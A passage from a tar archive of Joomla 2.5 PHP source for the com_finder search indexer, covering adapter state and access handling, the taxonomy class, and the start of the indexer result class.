	 * @param   JTable  $row  A JTable object
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	protected function categoryAccessChange($row)
	{
		$sql = clone($this->getStateQuery());
		$sql->where('c.id = ' . (int) $row->id);

		// Get the access level.
		$this->db->setQuery($sql);
		$items = $this->db->loadObjectList();

		// Adjust the access level for each item within the category.
		foreach ($items as $item)
		{
			// Set the access level.
			$temp = max($item->access, $row->access);

			// Update the item.
			$this->change((int) $item->id, 'access', $temp);

			// Reindex the item
			$this->reindex($item->id);
		}
	}

	/**
	 * Method to update index data on category access level changes
	 *
	 * @param   array    $pks    A list of primary key ids of the content that has changed state.
	 * @param   integer  $value  The value of the state that the content has been changed to.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	protected function categoryStateChange($pks, $value)
	{
		// The item's published state is tied to the category
		// published state so we need to look up all published states
		// before we change anything.
		foreach ($pks as $pk)
		{
			$sql = clone($this->getStateQuery());
			$sql->where('c.id = ' . (int) $pk);

			// Get the published states.
			$this->db->setQuery($sql);
			$items = $this->db->loadObjectList();

			// Adjust the state for each item within the category.
			foreach ($items as $item)
			{
				// Translate the state.
				$temp = $this->translateState($item->state, $value);

				// Update the item.
				$this->change($item->id, 'state', $temp);

				// Reindex the item
				$this->reindex($item->id);
			}
		}
	}

	/**
	 * Method to check the existing access level for categories
	 *
	 * @param   JTable  $row  A JTable object
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	protected function checkCategoryAccess($row)
	{
		$query = $this->db->getQuery(true);
		$query->select($this->db->quoteName('access'));
		$query->from($this->db->quoteName('#__categories'));
		$query->where($this->db->quoteName('id') . ' = ' . (int)$row->id);
		$this->db->setQuery($query);

		// Store the access level to determine if it changes
		$this->old_cataccess = $this->db->loadResult();
	}

	/**
	 * Method to check the existing access level for items
	 *
	 * @param   JTable  $row  A JTable object
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	protected function checkItemAccess($row)
	{
		$query = $this->db->getQuery(true);
		$query->select($this->db->quoteName('access'));
		$query->from($this->db->quoteName($this->table));
		$query->where($this->db->quoteName('id') . ' = ' . (int)$row->id);
		$this->db->setQuery($query);

		// Store the access level to determine if it changes
		$this->old_access = $this->db->loadResult();
	}

	/**
	 * Method to get the number of content items available to index.
	 *
	 * @return  integer  The number of content items available to index.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	protected function getContentCount()
	{
		JLog::add('FinderIndexerAdapter::getContentCount', JLog::INFO);

		$return = 0;

		// Get the list query.
		$sql = $this->getListQuery();

		// Check if the query is valid.
		if (empty($sql))
		{
			return $return;
		}

		// Tweak the SQL query to make the total lookup faster.
		if ($sql instanceof JDatabaseQuery)
		{
			$sql = clone($sql);
			$sql->clear('select');
			$sql->select('COUNT(*)');
			$sql->clear('order');
		}

		// Get the total number of content items to index.
		$this->db->setQuery($sql);
		$return = (int) $this->db->loadResult();

		// Check for a database error.
		if ($this->db->getErrorNum())
		{
			// Throw database error exception.
			throw new Exception($this->db->getErrorMsg(), 500);
		}

		return $return;
	}

	/**
	 * Method to get a content item to index.
	 *
	 * @param   integer  $id  The id of the content item.
	 *
	 * @return  FinderIndexerResult  A FinderIndexerResult object.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	protected function getItem($id)
	{
		JLog::add('FinderIndexerAdapter::getItem', JLog::INFO);

		// Get the list query and add the extra WHERE clause.
		$sql = $this->getListQuery();
		$sql->where('a.' . $this->db->quoteName('id') . ' = ' . (int) $id);

		// Get the item to index.
		$this->db->setQuery($sql);
		$row = $this->db->loadAssoc();

		// Check for a database error.
		if ($this->db->getErrorNum())
		{
			// Throw database error exception.
			throw new Exception($this->db->getErrorMsg(), 500);
		}

		// Convert the item to a result object.
		$item = JArrayHelper::toObject($row, 'FinderIndexerResult');

		// Set the item type.
		$item->type_id = $this->type_id;

		// Set the item layout.
		$item->layout = $this->layout;

		return $item;
	}

	/**
	 * Method to get a list of content items to index.
	 *
	 * @param   integer         $offset  The list offset.
	 * @param   integer         $limit   The list limit.
	 * @param   JDatabaseQuery  $sql     A JDatabaseQuery object. [optional]
	 *
	 * @return  array  An array of FinderIndexerResult objects.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	protected function getItems($offset, $limit, $sql = null)
	{
		JLog::add('FinderIndexerAdapter::getItems', JLog::INFO);

		$items = array();

		// Get the content items to index.
		$this->db->setQuery($this->getListQuery($sql), $offset, $limit);
		$rows = $this->db->loadAssocList();

		// Check for a database error.
		if ($this->db->getErrorNum())
		{
			// Throw database error exception.
			throw new Exception($this->db->getErrorMsg(), 500);
		}

		// Convert the items to result objects.
		foreach ($rows as $row)
		{
			// Convert the item to a result object.
			$item = JArrayHelper::toObject($row, 'FinderIndexerResult');

			// Set the item type.
			$item->type_id = $this->type_id;

			// Set the mime type.
			$item->mime = $this->mime;

			// Set the item layout.
			$item->layout = $this->layout;

			// Set the extension if present
			if (isset($row->extension))
			{
				$item->extension = $row->extension;
			}

			// Add the item to the stack.
			$items[] = $item;
		}

		return $items;
	}

	/**
	 * Method to get the SQL query used to retrieve the list of content items.
	 *
	 * @param   mixed  $sql  A JDatabaseQuery object. [optional]
	 *
	 * @return  JDatabaseQuery  A database object.
	 *
	 * @since   2.5
	 */
	protected function getListQuery($sql = null)
	{
		JLog::add('FinderIndexerAdapter::getListQuery', JLog::INFO);

		// Check if we can use the supplied SQL query.
		$sql = $sql instanceof JDatabaseQuery ? $sql : $this->db->getQuery(true);

		return $sql;
	}

	/**
	 * Method to get the plugin type
	 *
	 * @param   integer  $id  The plugin ID
	 *
	 * @return  string  The plugin type
	 *
	 * @since   2.5
	 */
	protected function getPluginType($id)
	{
		// Prepare the query
		$query = $this->db->getQuery(true);
		$query->select($this->db->quoteName('element'));
		$query->from($this->db->quoteName('#__extensions'));
		$query->where($this->db->quoteName('extension_id') . ' = ' . (int) $id);
		$this->db->setQuery($query);
		$type = $this->db->loadResult();

		return $type;
	}

	/**
	 * Method to get a SQL query to load the published and access states for
	 * an article and category.
	 *
	 * @return  JDatabaseQuery  A database object.
	 *
	 * @since   2.5
	 */
	protected function getStateQuery()
	{
		$sql = $this->db->getQuery(true);
		// Item ID
		$sql->select('a.id');
		// Item and category published state
		$sql->select('a.' . $this->state_field . ' AS state, c.published AS cat_state');
		// Item and category access levels
		$sql->select('a.access, c.access AS cat_access');
		$sql->from($this->table . ' AS a');
		$sql->join('LEFT', '#__categories AS c ON c.id = a.catid');

		return $sql;
	}

	/**
	 * Method to get the query clause for getting items to update by time.
	 *
	 * @param   string  $time  The modified timestamp.
	 *
	 * @return  JDatabaseQuery  A database object.
	 *
	 * @since   2.5
	 */
	protected function getUpdateQueryByTime($time)
	{
		JLog::add('FinderIndexerAdapter::getUpdateQueryByTime', JLog::INFO);

		// Build an SQL query based on the modified time.
		$sql = $this->db->getQuery(true);
		$sql->where('a.' . $this->db->quoteName('modified') . ' >= ' . $this->db->quote($time));

		return $sql;
	}

	/**
	 * Method to get the query clause for getting items to update by id.
	 *
	 * @param   array  $ids  The ids to load.
	 *
	 * @return  JDatabaseQuery  A database object.
	 *
	 * @since   2.5
	 */
	protected function getUpdateQueryByIds($ids)
	{
		JLog::add('FinderIndexerAdapter::getUpdateQueryByIds', JLog::INFO);

		// Build an SQL query based on the item ids.
		$sql = $this->db->getQuery(true);
		$sql->where('a.' . $this->db->quoteName('id') . ' IN(' . implode(',', $ids) . ')');

		return $sql;
	}

	/**
	 * Method to get the type id for the adapter content.
	 *
	 * @return  integer  The numeric type id for the content.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	protected function getTypeId()
	{
		JLog::add('FinderIndexerAdapter::getTypeId', JLog::INFO);

		// Get the type id from the database.
		$query = $this->db->getQuery(true);
		$query->select($this->db->quoteName('id'));
		$query->from($this->db->quoteName('#__finder_types'));
		$query->where($this->db->quoteName('title') . ' = ' . $this->db->quote($this->type_title));
		$this->db->setQuery($query);
		$result = (int) $this->db->loadResult();

		// Check for a database error.
		if ($this->db->getErrorNum())
		{
			// Throw database error exception.
			throw new Exception($this->db->getErrorMsg(), 500);
		}

		return $result;
	}

	/**
	 * Method to get the URL for the item. The URL is how we look up the link
	 * in the Finder index.
	 *
	 * @param   integer  $id         The id of the item.
	 * @param   string   $extension  The extension the category is in.
	 * @param   string   $view       The view for the URL.
	 *
	 * @return  string  The URL of the item.
	 *
	 * @since   2.5
	 */
	protected function getURL($id, $extension, $view)
	{
		return 'index.php?option=' . $extension . '&view=' . $view . '&id=' . $id;
	}

	/**
	 * Method to get the page title of any menu item that is linked to the
	 * content item, if it exists and is set.
	 *
	 * @param   string  $url  The url of the item.
	 *
	 * @return  mixed  The title on success, null if not found.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	protected function getItemMenuTitle($url)
	{
		JLog::add('FinderIndexerAdapter::getItemMenuTitle', JLog::INFO);

		$return = null;

		// Set variables
		$user = JFactory::getUser();
		$groups = implode(',', $user->getAuthorisedViewLevels());

		// Build a query to get the menu params.
		$sql = $this->db->getQuery(true);
		$sql->select($this->db->quoteName('params'));
		$sql->from($this->db->quoteName('#__menu'));
		$sql->where($this->db->quoteName('link') . ' = ' . $this->db->quote($url));
		$sql->where($this->db->quoteName('published') . ' = 1');
		$sql->where($this->db->quoteName('access') . ' IN (' . $groups . ')');

		// Get the menu params from the database.
		$this->db->setQuery($sql);
		$params = $this->db->loadResult();

		// Check for a database error.
		if ($this->db->getErrorNum())
		{
			// Throw database error exception.
			throw new Exception($this->db->getErrorMsg(), 500);
		}

		// Check the results.
		if (empty($params))
		{
			return $return;
		}

		// Instantiate the params.
		$params = json_decode($params);

		// Get the page title if it is set.
		if ($params->page_title)
		{
			$return = $params->page_title;
		}

		return $return;
	}

	/**
	 * Method to update index data on access level changes
	 *
	 * @param   JTable  $row  A JTable object
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	protected function itemAccessChange($row)
	{
		$sql = clone($this->getStateQuery());
		$sql->where('a.id = ' . (int) $row->id);

		// Get the access level.
		$this->db->setQuery($sql);
		$item = $this->db->loadObject();

		// Set the access level.
		$temp = max($row->access, $item->cat_access);

		// Update the item.
		$this->change((int) $row->id, 'access', $temp);
	}

	/**
	 * Method to update index data on published state changes
	 *
	 * @param   array    $pks    A list of primary key ids of the content that has changed state.
	 * @param   integer  $value  The value of the state that the content has been changed to.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	protected function itemStateChange($pks, $value)
	{
		// The item's published state is tied to the category
		// published state so we need to look up all published states
		// before we change anything.
		foreach ($pks as $pk)
		{
			$sql = clone($this->getStateQuery());
			$sql->where('a.id = ' . (int) $pk);

			// Get the published states.
			$this->db->setQuery($sql);
			$item = $this->db->loadObject();

			// Translate the state.
			$temp = $this->translateState($value, $item->cat_state);

			// Update the item.
			$this->change($pk, 'state', $temp);

			// Reindex the item
			$this->reindex($pk);
		}
	}

	/**
	 * Method to update index data when a plugin is disabled
	 *
	 * @param   array  $pks  A list of primary key ids of the content that has changed state.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	protected function pluginDisable($pks)
	{
		// Since multiple plugins may be disabled at a time, we need to check first
		// that we're handling the appropriate one for the context
		foreach ($pks as $pk)
		{
			if ($this->getPluginType($pk) == strtolower($this->context))
			{
				// Get all of the items to unindex them
				$sql = clone($this->getStateQuery());
				$this->db->setQuery($sql);
				$items = $this->db->loadColumn();

				// Remove each item
				foreach ($items as $item)
				{
					$this->remove($item);
				}
			}
		}
	}

	/**
	 * Method to translate the native content states into states that the
	 * indexer can use.
	 *
	 * @param   integer  $item      The item state.
	 * @param   integer  $category  The category state. [optional]
	 *
	 * @return  integer  The translated indexer state.
	 *
	 * @since   2.5
	 */
	protected function translateState($item, $category = null)
	{
		// If category is present, factor in its states as well
		if ($category !== null)
		{
			if ($category == 0)
			{
				$item = 0;
			}
		}

		// Translate the state
		switch ($item)
		{
			// Published and archived items only should return a published state
			case 1;
			case 2:
				return 1;

			// All other states should return a unpublished state
			default:
			case 0:
				return 0;
		}
	}
}
���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������indexer/taxonomy.php��������������������������������������������������������������������������������0000666�����������������00000027035�15140234717�0010610 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('_JEXEC') or die;

/**
 * Stemmer base class for the Finder indexer package.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 * @since       2.5
 */
class FinderIndexerTaxonomy
{
	/**
	 * An internal cache of taxonomy branch data.
	 *
	 * @var    array
	 * @since  2.5
	 */
	public static $branches = array();

	/**
	 * An internal cache of taxonomy node data.
	 *
	 * @var    array
	 * @since  2.5
	 */
	public static $nodes = array();

	/**
	 * Method to add a branch to the taxonomy tree.
	 *
	 * @param   string   $title   The title of the branch.
	 * @param   integer  $state   The published state of the branch. [optional]
	 * @param   integer  $access  The access state of the branch. [optional]
	 *
	 * @return  integer  The id of the branch.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public static function addBranch($title, $state = 1, $access = 1)
	{
		// Check to see if the branch is in the cache.
		if (isset(self::$branches[$title]))
		{
			return self::$branches[$title]->id;
		}

		// Check to see if the branch is in the table.
		$db = JFactory::getDBO();
		$query = $db->getQuery(true);
		$query->select('*');
		$query->from($db->quoteName('#__finder_taxonomy'));
		$query->where($db->quoteName('parent_id') . ' = 1');
		$query->where($db->quoteName('title') . ' = ' . $db->quote($title));
		$db->setQuery($query);

		// Get the result.
		$result = $db->loadObject();

		// Check for a database error.
		if ($db->getErrorNum())
		{
			// Throw database error exception.
			throw new Exception($db->getErrorMsg(), 500);
		}

		// Check if the database matches the input data.
		if (!empty($result) && $result->state == $state && $result->access == $access)
		{
			// The data matches, add the item to the cache.
			self::$branches[$title] = $result;

			return self::$branches[$title]->id;
		}

		// The database did not match the input. This could be because the
		// state has changed or because the branch does not exist. Let's figure
		// out which case is true and deal with it.
		$branch = new JObject;
		if (empty($result))
		{
			// Prepare the branch object.
			$branch->parent_id = 1;
			$branch->title = $title;
			$branch->state = (int) $state;
			$branch->access = (int) $access;
		}
		else
		{
			// Prepare the branch object.
			$branch->id = (int) $result->id;
			$branch->parent_id = (int) $result->parent_id;
			$branch->title = $result->title;
			$branch->state = (int) $result->title;
			$branch->access = (int) $result->access;
			$branch->ordering = (int) $result->ordering;
		}

		// Store the branch.
		self::storeNode($branch);

		// Add the branch to the cache.
		self::$branches[$title] = $branch;

		return self::$branches[$title]->id;
	}

	/**
	 * Method to add a node to the taxonomy tree.
	 *
	 * @param   string   $branch  The title of the branch to store the node in.
	 * @param   string   $title   The title of the node.
	 * @param   integer  $state   The published state of the node. [optional]
	 * @param   integer  $access  The access state of the node. [optional]
	 *
	 * @return  integer  The id of the node.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public static function addNode($branch, $title, $state = 1, $access = 1)
	{
		// Check to see if the node is in the cache.
		if (isset(self::$nodes[$branch][$title]))
		{
			return self::$nodes[$branch][$title]->id;
		}

		// Get the branch id, inserted it if it does not exist.
		$branchId = self::addBranch($branch);

		// Check to see if the node is in the table.
		$db = JFactory::getDBO();
		$query = $db->getQuery(true);
		$query->select('*');
		$query->from($db->quoteName('#__finder_taxonomy'));
		$query->where($db->quoteName('parent_id') . ' = ' . $db->quote($branchId));
		$query->where($db->quoteName('title') . ' = ' . $db->quote($title));
		$db->setQuery($query);

		// Get the result.
		$result = $db->loadObject();

		// Check for a database error.
		if ($db->getErrorNum())
		{
			// Throw database error exception.
			throw new Exception($db->getErrorMsg(), 500);
		}

		// Check if the database matches the input data.
		if (!empty($result) && $result->state == $state && $result->access == $access)
		{
			// The data matches, add the item to the cache.
			self::$nodes[$branch][$title] = $result;

			return self::$nodes[$branch][$title]->id;
		}

		// The database did not match the input. This could be because the
		// state has changed or because the node does not exist. Let's figure
		// out which case is true and deal with it.
		$node = new JObject;
		if (empty($result))
		{
			// Prepare the node object.
			$node->parent_id = (int) $branchId;
			$node->title = $title;
			$node->state = (int) $state;
			$node->access = (int) $access;
		}
		else
		{
			// Prepare the node object.
			$node->id = (int) $result->id;
			$node->parent_id = (int) $result->parent_id;
			$node->title = $result->title;
			$node->state = (int) $result->title;
			$node->access = (int) $result->access;
			$node->ordering = (int) $result->ordering;
		}

		// Store the node.
		self::storeNode($node);

		// Add the node to the cache.
		self::$nodes[$branch][$title] = $node;

		return self::$nodes[$branch][$title]->id;
	}

	/**
	 * Method to add a map entry between a link and a taxonomy node.
	 *
	 * @param   integer  $linkId  The link to map to.
	 * @param   integer  $nodeId  The node to map to.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public static function addMap($linkId, $nodeId)
	{
		// Insert the map.
		$db = JFactory::getDBO();

		$query = $db->getQuery(true);
		$query->select($db->quoteName('link_id'));
		$query->from($db->quoteName('#__finder_taxonomy_map'));
		$query->where($db->quoteName('link_id') . ' = ' . (int)$linkId);
		$query->where($db->quoteName('node_id') . ' = ' . (int)$nodeId);
		$db->setQuery($query);
		$db->query();
		$id = (int) $db->loadResult();

		$map = new JObject();
		$map->link_id = (int) $linkId;
		$map->node_id = (int) $nodeId;

		if ($id) {
			$db->updateObject('#__finder_taxonomy_map', $map);
		}
		else {
			$db->insertObject('#__finder_taxonomy_map', $map);
		}

		// Check for a database error.
		if ($db->getErrorNum())
		{
			// Throw database error exception.
			throw new Exception($db->getErrorMsg(), 500);
		}

		return true;
	}

	/**
	 * Method to get the title of all taxonomy branches.
	 *
	 * @return  array  An array of branch titles.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public static function getBranchTitles()
	{
		$db = JFactory::getDBO();

		// Set user variables
		$user = JFactory::getUser();
		$groups = implode(',', $user->getAuthorisedViewLevels());

		// Create a query to get the taxonomy branch titles.
		$query = $db->getQuery(true);
		$query->select($db->quoteName('title'));
		$query->from($db->quoteName('#__finder_taxonomy'));
		$query->where($db->quoteName('parent_id') . ' = 1');
		$query->where($db->quoteName('state') . ' = 1');
		$query->where($db->quoteName('access') . ' IN (' . $groups . ')');

		// Get the branch titles.
		$db->setQuery($query);
		$results = $db->loadColumn();

		// Check for a database error.
		if ($db->getErrorNum())
		{
			// Throw database error exception.
			throw new Exception($db->getErrorMsg(), 500);
		}

		return $results;
	}

	/**
	 * Method to find a taxonomy node in a branch.
	 *
	 * @param   string  $branch  The branch to search.
	 * @param   string  $title   The title of the node.
	 *
	 * @return  mixed  Integer id on success, null on no match.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public static function getNodeByTitle($branch, $title)
	{
		$db = JFactory::getDBO();

		// Set user variables
		$user = JFactory::getUser();
		$groups = implode(',', $user->getAuthorisedViewLevels());

		// Create a query to get the node.
		$query = $db->getQuery(true);
		$query->select('t1.*');
		$query->from($db->quoteName('#__finder_taxonomy') . ' AS t1');
		$query->join('INNER', $db->quoteName('#__finder_taxonomy') . ' AS t2 ON t2.id = t1.parent_id');
		$query->where('t1.' . $db->quoteName('access') . ' IN (' . $groups . ')');
		$query->where('t1.' . $db->quoteName('state') . ' = 1');
		$query->where('t1.' . $db->quoteName('title') . ' LIKE "' . $db->escape($title) . '%"');
		$query->where('t2.' . $db->quoteName('access') . ' IN (' . $groups . ')');
		$query->where('t2.' . $db->quoteName('state') . ' = 1');
		$query->where('t2.' . $db->quoteName('title') . ' = ' . $db->quote($branch));

		// Get the node.
		$db->setQuery($query, 0, 1);
		$result = $db->loadObject();

		// Check for a database error.
		if ($db->getErrorNum())
		{
			// Throw database error exception.
			throw new Exception($db->getErrorMsg(), 500);
		}

		return $result;
	}

	/**
	 * Method to remove map entries for a link.
	 *
	 * @param   integer  $linkId  The link to remove.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public static function removeMaps($linkId)
	{
		// Delete the maps.
		$db = JFactory::getDBO();
		$query = $db->getQuery(true);
		$query->delete();
		$query->from($db->quoteName('#__finder_taxonomy_map'));
		$query->where($db->quoteName('link_id') . ' = ' . (int) $linkId);
		$db->setQuery($query);
		$db->query();

		// Check for a database error.
		if ($db->getErrorNum())
		{
			// Throw database error exception.
			throw new Exception($db->getErrorMsg(), 500);
		}

		return true;
	}

	/**
	 * Method to remove orphaned taxonomy nodes and branches.
	 *
	 * @return  integer  The number of deleted rows.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public static function removeOrphanNodes()
	{
		// Delete all orphaned nodes.
		$db = JFactory::getDBO();
		/*$query = $db->getQuery(true);
		$query->delete();
		$query->from($db->quoteName('#__finder_taxonomy') . ' AS t');
		$query->join('LEFT', $db->quoteName('#__finder_taxonomy_map') . ' AS m ON m.node_id = t.id');
		$query->where('t.' . $db->quoteName('parent_id') . ' > 1');
		$query->where('m.' . $db->quoteName('link_id') . ' IS NULL');*/
		//@TODO: Query does not work with JDatabaseQuery, does not support DELETE t.*, must be DELETE FROM ...
		$query = 'DELETE t.*' .
			' FROM ' . $db->quoteName('#__finder_taxonomy') . ' AS t' .
			' LEFT JOIN ' . $db->quoteName('#__finder_taxonomy_map') . ' AS m ON m.node_id = t.id' .
			' WHERE t.' . $db->quoteName('parent_id') . ' > 1' .
			' AND m.' . $db->quoteName('link_id') . ' IS NULL';
		$db->setQuery($query);
		$db->query();

		// Check for a database error.
		if ($db->getErrorNum())
		{
			// Throw database error exception.
			throw new Exception($db->getErrorMsg(), 500);
		}

		return $db->getAffectedRows();
	}

	/**
	 * Method to store a node to the database.  This method will accept either a branch or a node.
	 *
	 * @param   object  $item  The item to store.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	protected static function storeNode($item)
	{
		$db = JFactory::getDBO();

		// Check if we are updating or inserting the item.
		if (empty($item->id))
		{
			// Insert the item.
			$db->insertObject('#__finder_taxonomy', $item, 'id');
		}
		else
		{
			// Update the item.
			$db->updateObject('#__finder_taxonomy', $item, 'id');
		}

		// Check for a database error.
		if ($db->getErrorNum())
		{
			// Throw database error exception.
			throw new Exception($db->getErrorMsg(), 500);
		}

		return true;
	}
}
���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������indexer/result.php����������������������������������������������������������������������������������0000666�����������������00000020133�15140234717�0010240 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('_JEXEC') or die;

JLoader::register('FinderIndexer', dirname(__FILE__) . '/indexer.php');

/**
 * Result class for the Finder indexer package.
 *
 * This class uses magic __get() and __set() methods to prevent properties
 * being added that might confuse the system. All properties not explicitly
 * declared will be pushed into the elements array and can be accessed
 * explicitly using the getElement() method.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 * @since       2.5
 */
class FinderIndexerResult
{
	/**
	 * An array of extra result properties.
	 *
	 * @var    array
	 * @since  2.5
	 */
	protected $elements = array();

	/**
	 * This array tells the indexer which properties should be indexed and what
	 * weights to use for those properties.
	 *
	 * @var    array
	 * @since  2.5
	 */
	protected $instructions = array(
		FinderIndexer::TITLE_CONTEXT => array('title', 'subtitle', 'id'),
		FinderIndexer::TEXT_CONTEXT => array('summary', 'body'),
		FinderIndexer::META_CONTEXT => array('meta', 'list_price', 'sale_price'),
		FinderIndexer::PATH_CONTEXT => array('path', 'alias'),
		FinderIndexer::MISC_CONTEXT => array('comments')
	);

	/**
	 * The indexer will use this data to create taxonomy mapping entries for
	 * the item so that it can be filtered by type, label, category,
	 * or whatever.
	 *
	 * @var    array
	 * @since  2.5
	 */
	protected $taxonomy = array();

	/**
	 * The content URL.
	 *
	 * @var    string
	 * @since  2.5
	 */
	public $url;

	/**
	 * The content route.
	 *
	 * @var    string
	 * @since  2.5
	 */
	public $route;

	/**
	 * The content title.
	 *
	 * @var    string
	 * @since  2.5
	 */
	public $title;

	/**
	 * The content description.
	 *
	 * @var    string
	 * @since  2.5
	 */
	public $description;

	/**
	 * The published state of the result.
	 *
	 * @var    integer
	 * @since  2.5
	 */
	public $published;

	/**
	 * The content published state.
	 *
	 * @var    integer
	 * @since  2.5
	 */
	public $state;

	/**
	 * The content access level.
	 *
	 * @var    integer
	 * @since  2.5
	 */
	public $access;

	/**
	 * The content language.
	 *
	 * @var    string
	 * @since  2.5
	 */
	public $language = '*';

	/**
	 * The publishing start date.
	 *
	 * @var    string
	 * @since  2.5
	 */
	public $publish_start_date;

	/**
	 * The publishing end date.
	 *
	 * @var    string
	 * @since  2.5
	 */
	public $publish_end_date;

	/**
	 * The generic start date.
	 *
	 * @var    string
	 * @since  2.5
	 */
	public $start_date;

	/**
	 * The generic end date.
	 *
	 * @var    string
	 * @since  2.5
	 */
	public $end_date;

	/**
	 * The item list price.
	 *
	 * @var    mixed
	 * @since  2.5
	 */
	public $list_price;

	/**
	 * The item sale price.
	 *
	 * @var    mixed
	 * @since  2.5
	 */
	public $sale_price;

	/**
	 * The content type id. This is set by the adapter.
	 *
	 * @var    integer
	 * @since  2.5
	 */
	public $type_id;

	/**
	 * The magic set method is used to push additional values into the elements
	 * array in order to preserve the cleanliness of the object.
	 *
	 * @param   string  $name   The name of the element.
	 * @param   mixed   $value  The value of the element.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function __set($name, $value)
	{
		$this->elements[$name] = $value;
	}

	/**
	 * The magic get method is used to retrieve additional element values
	 * from the elements array.
	 *
	 * @param   string  $name  The name of the element.
	 *
	 * @return  mixed  The value of the element if set, null otherwise.
	 *
	 * @since   2.5
	 */
	public function __get($name)
	{
		// Get the element value if set.
		if (array_key_exists($name, $this->elements))
		{
			return $this->elements[$name];
		}
		else
		{
			return null;
		}
	}

	/**
	 * The magic isset method is used to check the state of additional element
	 * values in the elements array.
	 *
	 * @param   string  $name  The name of the element.
	 *
	 * @return  boolean  True if set, false otherwise.
	 *
	 * @since   2.5
	 */
	public function __isset($name)
	{
		return isset($this->elements[$name]);
	}

	/**
	 * The magic unset method is used to unset additional element values in the
	 * elements array.
	 *
	 * @param   string  $name  The name of the element.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function __unset($name)
	{
		unset($this->elements[$name]);
	}

	/**
	 * Method to retrieve additional element values from the elements array.
	 *
	 * @param   string  $name  The name of the element.
	 *
	 * @return  mixed  The value of the element if set, null otherwise.
	 *
	 * @since   2.5
	 */
	public function getElement($name)
	{
		// Get the element value if set.
		if (array_key_exists($name, $this->elements))
		{
			return $this->elements[$name];
		}
		else
		{
			return null;
		}
	}

	/**
	 * Method to set additional element values in the elements array.
	 *
	 * @param   string  $name   The name of the element.
	 * @param   mixed   $value  The value of the element.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function setElement($name, $value)
	{
		$this->elements[$name] = $value;
	}

	/**
	 * Method to get all processing instructions.
	 *
	 * @return  array  An array of processing instructions.
	 *
	 * @since   2.5
	 */
	public function getInstructions()
	{
		return $this->instructions;
	}

	/**
	 * Method to add a processing instruction for an item property.
	 *
	 * @param   string  $group     The group to associate the property with.
	 * @param   string  $property  The property to process.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function addInstruction($group, $property)
	{
		// Check if the group exists. We can't add instructions for unknown groups.
		if (array_key_exists($group, $this->instructions))
		{
			// Check if the property exists in the group.
			if (!in_array($property, $this->instructions[$group]))
			{
				// Add the property to the group.
				$this->instructions[$group][] = $property;
			}
		}
	}

	/**
	 * Method to remove a processing instruction for an item property.
	 *
	 * @param   string  $group     The group to associate the property with.
	 * @param   string  $property  The property to process.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function removeInstruction($group, $property)
	{
		// Check if the group exists. We can't remove instructions for unknown groups.
		if (array_key_exists($group, $this->instructions))
		{
			// Search for the property in the group.
			$key = array_search($property, $this->instructions[$group]);

			// If the property was found, remove it.
			if ($key !== false)
			{
				unset($this->instructions[$group][$key]);
			}
		}
	}

	/**
	 * Method to get the taxonomy maps for an item.
	 *
	 * @param   string  $branch  The taxonomy branch to get. [optional]
	 *
	 * @return  array  An array of taxonomy maps.
	 *
	 * @since   2.5
	 */
	public function getTaxonomy($branch = null)
	{
		// Get the taxonomy branch if available.
		if ($branch !== null && isset($this->taxonomy[$branch]))
		{
			// Filter the input.
			$branch = preg_replace('#[^\pL\pM\pN\p{Pi}\p{Pf}\'+-.,]+#mui', ' ', $branch);

			return $this->taxonomy[$branch];
		}

		return $this->taxonomy;
	}

	/**
	 * Method to add a taxonomy map for an item.
	 *
	 * @param   string   $branch  The title of the taxonomy branch to add the node to.
	 * @param   string   $title   The title of the taxonomy node.
	 * @param   integer  $state   The published state of the taxonomy node. [optional]
	 * @param   integer  $access  The access level of the taxonomy node. [optional]
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function addTaxonomy($branch, $title, $state = 1, $access = 1)
	{
		// Filter the input.
		$branch = preg_replace('#[^\pL\pM\pN\p{Pi}\p{Pf}\'+-.,]+#mui', ' ', $branch);

		// Create the taxonomy node.
		$node = new JObject;
		$node->title = $title;
